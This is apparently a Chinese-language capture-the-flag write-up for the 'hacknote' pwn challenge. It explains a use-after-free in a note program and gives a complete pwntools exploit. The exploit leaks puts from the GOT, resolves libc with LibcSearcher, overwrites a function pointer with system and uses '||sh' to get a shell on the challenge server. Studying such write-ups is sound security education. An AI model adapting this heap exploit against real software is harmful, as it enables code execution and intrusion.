攻防世界-hacknote

感觉BUU有些写不动又回来刷攻防世界的一些简单题了2333

程序功能

1
1. Add note          
2. Delete note       
3. Print note        
4. Exit

每次Add都会malloc(0x8),其中fd用来存放一个自定义的puts函数,会打印出*bk,然后再malloc(输入的size)作为记录内容的chunk,将返回的地址存入bk。

程序漏洞

Delete后没有置零,存在UAF,Print时调用fd位置的函数。

漏洞利用

1
2
3
4
Add(0x10,'0')
Add(0x10,'1')
Del(0)
Del(1)

此时fastbin中会用两个单链表记录空闲的chunk,两个大小为0x10的chunk(malloc(0x8)时得到的chunk)会被记录在一个链表中。

1
2
Add(0x8,p32(0x804862b)+p32(0x804A024))
#0x804862b为自定义的puts函数的地址 Print(0) leak=u32(sh.recv(4)) log.success("puts: "+hex(leak)) puts=leak libc=LibcSearcher('puts',puts) libcbase=leak-libc.dump('puts')

再次Add(0x8),此时得到的存放内容的chunk就是chunk0的malloc(0x8)的chunk,并且由于UAF,此时Print(0)还可以使用,修改chunk2的内容,改变chunk0的bk部分为puts_got,再Print(0)即可leak出libc地址。这里攻防世界给的libc好像给错了,自己找了一下libc才对得上。

1
Del(2)
Add(0x8,p32(libcbase+libc.dump('system'))+"||sh")
Print(0)
sh.interactive()

然后把chunk2删除再次申请,又可以再次修改chunk0。这次将函数指针改成system地址,Print(0)时即会执行system(fd),但是fd上存放的就是system地址,这里学习了一手||。在bk位置写上’||sh’,执行的就是system(systemaddr||sh),可以获取shell。

EXP

1
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
#sh=process("./hacknote.dms")
libc2=ELF("./libc-2.23.so")
#onegadget=[0x45216,0x4526a,0xf02a4,0xf1147]
sh=remote('111.198.29.45',41371)
def Add(size,content):
	sh.sendlineafter('choice :','1')
	sh.sendlineafter('size :',str(int(size)))
	sh.sendlineafter('Content :',content)
def Del(Index):
	sh.sendlineafter('choice :','2')
	sh.sendlineafter('Index :',str(Index))
def Print(Index):
	sh.sendlineafter('choice :','3')
	sh.sendlineafter('Index :',str(Index))
Add(0x10,'0')
Add(0x10,'1')
Del(0)
Del(1)
Add(0x8,p32(0x804862b)+p32(0x804A024))
Print(0)
leak=u32(sh.recv(4))
log.success("puts: "+hex(leak))
puts=leak
libc=LibcSearcher('puts',puts)
libcbase=leak-libc.dump('puts')
Del(2)
Add(0x8,p32(libcbase+libc.dump('system'))+"||sh")
Print(0)
sh.interactive()
文章目录
  1. 1. 程序功能
  2. 2. 程序漏洞
  3. 3. 漏洞利用
  4. 4. EXP
|